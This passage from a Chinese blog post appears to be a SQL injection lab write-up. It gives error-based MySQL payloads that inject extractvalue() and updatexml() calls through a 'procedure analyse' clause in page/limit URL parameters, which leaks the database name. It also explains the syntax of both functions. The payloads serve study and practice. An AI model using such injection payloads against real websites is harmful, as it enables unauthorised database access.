# 高亮处字符不满足xpath格式即可 0x23-># 也是可以的
?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x7e,database())),1)

从 mysql5.1.5 开始,提供两个 XML 查询和修改的函数:extractvalue 和 updatexml;extractvalue 负责在 xml 文档中按照 xpath 语法查询节点内容,updatexml 则负责修改查询到的内容;用法上 extractvalue 与 updatexml 的区别:updatexml 使用三个参数,extractvalue 只有两个参数。

ExtractValue()
ExtractValue() 是 MySQL 中的一个函数,用于从 XML 文档中提取值。
语法:
sql
ExtractValue(xml_fragment, xpath_expression)xml_fragment:这是一个 XML 格式的字符串片段。
xpath_expression:XPath 表达式,指定要提取的路径。
UpdateXML()
UpdateXML() 是 MySQL 中的一个函数,用于更新 XML 文档中的特定节点。
语法:
sql
UpdateXML(xml_document, xpath_string, new_value)
xml_document:一个 XML 格式的字符串文档。
xpath_string:XPath 表达式,指定要更新的节点位置。
new_value:新的值,将替换匹配到的节点内容。

UpdateXML打也可

/api/?page=1&limit=1 procedure analyse(updatexml(1,concat(0x7e,database(),0x7e),1),1)

最后

sql专题后面的暂且搁置了,也许会在某一天心血来潮打完补上,咕咕咕

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇